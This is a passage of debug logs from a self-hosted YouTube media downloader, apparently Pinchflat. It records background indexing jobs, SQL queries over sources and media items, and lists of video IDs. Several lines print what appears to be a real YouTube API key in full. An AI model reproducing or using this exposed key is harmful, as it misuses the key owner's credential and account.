short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 17:07:32.378 [debug] QUERY OK source="tasks" db=0.1ms idle=144.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268400, 22, ~U[2026-10-09 22:07:32Z], ~U[2026-10-09 22:07:32Z]] 17:07:32.378 [info] {"args":{"id":22},"id":5268360,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":146333,"event":"job:stop","queue_time":310291,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:32.513 [debug] QUERY OK source="media_items" db=0.6ms idle=134.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "_0G4OG39XjI", "3iRUwVzRDZQ", "e1q-TuHdc4Y", "rayrrXot17M", "DkUuOr21v4s", "pOX1l1edBME", "ohqxP8EEumo", "6D__H_DO2Xk", "Od6M0AXpcxQ", "R6yNUnRXZ64", "uJdjKOBikTE", "ANmTVYkEtLw", "fo-uubnajWM", "v-_d2e7x4KA", "ngPkbaZliaU", "mfmdXPT7nAM", "o4SSoURPODY", "Z6z_feacXW8", "_xjxwl1zLMc", "8Hx2yvWSgs0", "kUnR9dO4EnA", "_oRgdlJUD18", "eWKY0OnPByg", "DUgPFNRmsCQ", "7KRabLH7jcE", "ZpF6IE0rdxA", "oYAnEH0JoqI", "QrT4S9i3agE", "WOzcFkld6_g", "_gCXmKjDecU", "n3V3LZh_r40", "ImRy_PiXstI", "mk_wdHePbtQ", "M4xlXvCAc2E", "9GSDvO0LFFE", "OPOS0tre9eQ", "VIE2Ri2DQJg", "eFeDpUVEy48", "coX4duwUCpw", "i9TvUGeTltE", "7YrdI7h2XoY", "c347oYQO57A", "5aS-8QCRdGE", "s3DrGkDvgNw", "as_NEJAP8ew", "Hc0aqOEU2w8", "eFUB_jL_XcM", "pvjivZ6C6CA", "jru9Gsz3kJY", ...] 17:07:32.517 [debug] QUERY OK source="media_items" db=2.9ms idle=136.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 17:07:32.518 [debug] QUERY OK source="tasks" db=0.1ms idle=132.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268401, 10, ~U[2026-10-09 22:07:32Z], ~U[2026-10-09 22:07:32Z]] 17:07:32.518 [info] {"args":{"id":10},"id":5268361,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":285955,"event":"job:stop","queue_time":11203,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:33.233 [info] {"args":{"id":4},"id":5268362,"meta":{},"system_time":1791583653233263836,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:33.233 [debug] QUERY OK source="sources" db=0.2ms idle=715.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 17:07:33.233 [debug] QUERY OK source="settings" db=0.1ms idle=715.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:33.234 [debug] QUERY OK source="media_profiles" db=0.0ms idle=709.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:33.234 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:33.234 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 17:07:33.234 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:33.234 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:33.425 [debug] QUERY OK source="media_items" db=0.6ms idle=190.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "Z26kN5VfyGA", "QIEdK8haaTw", "_Us6EeUP0_Q", "lpswjPZYXx4", "mmntN7zIekU", "nvk3Njj_X0c", "eHCjuUBXwSo", "459a7YBmBOE", "yE48_MN8Ng4", "du03jSbZwEw", "ZBJnX8_Fx_g", "bLYUD4IMvQI", "EKZZwowhDiY", "nelpE3tC4Ig", "wzn0T1qX5Ko", "fk8zF0xav-Q", "tSSwuvJzHFc", "TIKTzjdTD98", "XW5tm9vAh2M", "cSjYTb1zdkA", "jqH3z8OwUn8", "9uiXXCOmJyY", "YP9M8cYfn-4", "KbixzNLGW3Q", "rgZlzCd0DUU", "JSxgCEpkiKM", "GnOpIQJnYWU", "CogTK7K_YZ8", "LFYjgLqQ99A", "NfvxMBglQXo", "JJPA_iM8Hrs", "tCC0pt6XE3Q", "fUWjIPHuZxw", "JtUC7H0Q1JY", "uvYt1GgcsUI", "V7CnaT-BfSo", "e22vAVH_JtE", "RwlNKD4KOZM", "S4knv0ivcEU", "exwuRtM27BY", "bCZX7x_xDWE", "JR9uWwbZGbw", "ResVOM4BhiQ", "wi2a3GG0yIc", "ZYyLetNAydM", "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", ...] 17:07:33.426 [debug] QUERY OK source="media_items" db=0.5ms idle=191.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 17:07:33.427 [debug] QUERY OK source="tasks" db=0.1ms idle=192.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268402, 4, ~U[2026-10-09 22:07:33Z], ~U[2026-10-09 22:07:33Z]] 17:07:33.427 [info] {"args":{"id":4},"id":5268362,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":193872,"event":"job:stop","queue_time":493187,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:45.586 [info] {"source":"oban","duration":9734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:07:55.255 [info] {"args":{"id":44},"id":5268363,"meta":{},"system_time":1791583675255189825,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:55.255 [debug] QUERY OK source="sources" db=0.1ms idle=1908.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [44] 17:07:55.255 [debug] QUERY OK source="settings" db=0.0ms idle=1908.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:55.256 [debug] QUERY OK source="media_profiles" db=0.6ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:55.256 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:55.256 [debug] Fetching recent media IDs from YouTube API for playlist: UUqppg7votukolx20yh3H9kQ 17:07:55.256 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:55.256 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:55.343 [debug] QUERY OK source="media_items" db=0.3ms idle=87.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [44, "qfSDhNLiN_U", "_qzU0mb7Ubw", "QLNxc6g0pjo", "vwTIQlSCb4M", "pRUNSy_tFkM", "M5qGSZKeaMA", "EVq8Vskx_Dw", "iQJO80qA0Wk", "o8BzeOf-smA", "fiS-okUK7KE", "UIN2Q2u1A8o", "vSBr3WFxJhY", "9BepF3pfqTY", "4qt4YY8m6fg", "JYJoETDh4ZU", "2ASOQLFr7-M", "fx5N1fY3Fsg", "qWvRe1u0AL0", "Okhp89ilgaY", "c9NY88Hf1Ns", "so6XWjuMJCg", "ejPqAJ0dHwY"] 17:07:55.343 [debug] QUERY OK source="media_items" db=0.2ms idle=87.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [44] 17:07:55.344 [debug] QUERY OK source="tasks" db=0.1ms idle=87.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268403, 44, ~U[2026-10-09 22:07:55Z], ~U[2026-10-09 22:07:55Z]] 17:07:55.344 [info] {"args":{"id":44},"id":5268363,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":89359,"event":"job:stop","queue_time":467406,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:56.257 [info] {"args":{"id":25},"id":5268365,"meta":{},"system_time":1791583676257242966,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:56.257 [info] {"args":{"id":7},"id":5268364,"meta":{},"system_time":1791583676257211106,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:56.257 [debug] QUERY OK source="sources" db=0.1ms idle=912.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:07:56.257 [debug] QUERY OK source="sources" db=0.1ms idle=912.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 17:07:56.257 [debug] QUERY OK source="settings" db=0.1ms idle=906.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:56.257 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:56.257 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:56.257 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:56.258 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:56.258 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 17:07:56.258 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:56.258 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 17:07:56.258 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:56.258 [debug] QUERY OK source="settings" db=0.0ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:56.258 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:56.258 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:56.384 [debug] QUERY OK source="media_items" db=0.6ms idle=125.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "YJYGJQeq9XA", "bMMG9TqH7Cg", "ivwGdPaEKgw", "MSim6wHctJs", "a-pw6MLvxG4", "iJFXHSikXAw", "cX4nq3oWHEs", "sx0pL-IG9ZY", "I18RjNvKBb0", "w3xqsMv6T_k", "UJLnAxofL4w", "461UOs0Bvpo", "eeeIX-jPCfU", "I_dqiK6FEUw", "1F0KOBiLPJY", "GOY1nrnGFoQ", "49AR2G__gbY", "moBfszFIlZU", "ooneAa4P_DI", "5qJ4lBwxSHs", "EGIq02dD1_o", "ud56dWtJZuI", "wQxngUFOoqY", "Moi8q2spry8", "tdkSl_8BMDM", "3gZQa8wvPyQ", "A-WuDVu8Aec", "inZfAQX-ikk", "A5fjsYyBYeM", "RHbqw8PpDrk", "9BfpQaUdIKA", "vS959lEUED0", "3HO-1R_ye40", "cWrGe7BDnHY", "Hih6I3DOPZQ", "BMNtRwFDB6s", "3IzWVKqW8LA", "1OJcqhrA0aE", "xfk3OnaKJRU", "W5PifMAnoJY", "zR4OJ9_S5mU", "KWWxrVzMk-s", "WNGbL6zTXg0", "XnuH8t5MmWU", "zNYsw-cW8v8", "vq4TbSxK0P0", "pgCBgctN_VU", "2SM3dlbe2S8", "vwLSANJYMf4", ...] 17:07:56.387 [debug] QUERY OK source="media_items" db=2.3ms idle=126.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 17:07:56.387 [debug] QUERY OK source="tasks" db=0.1ms idle=129.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268404, 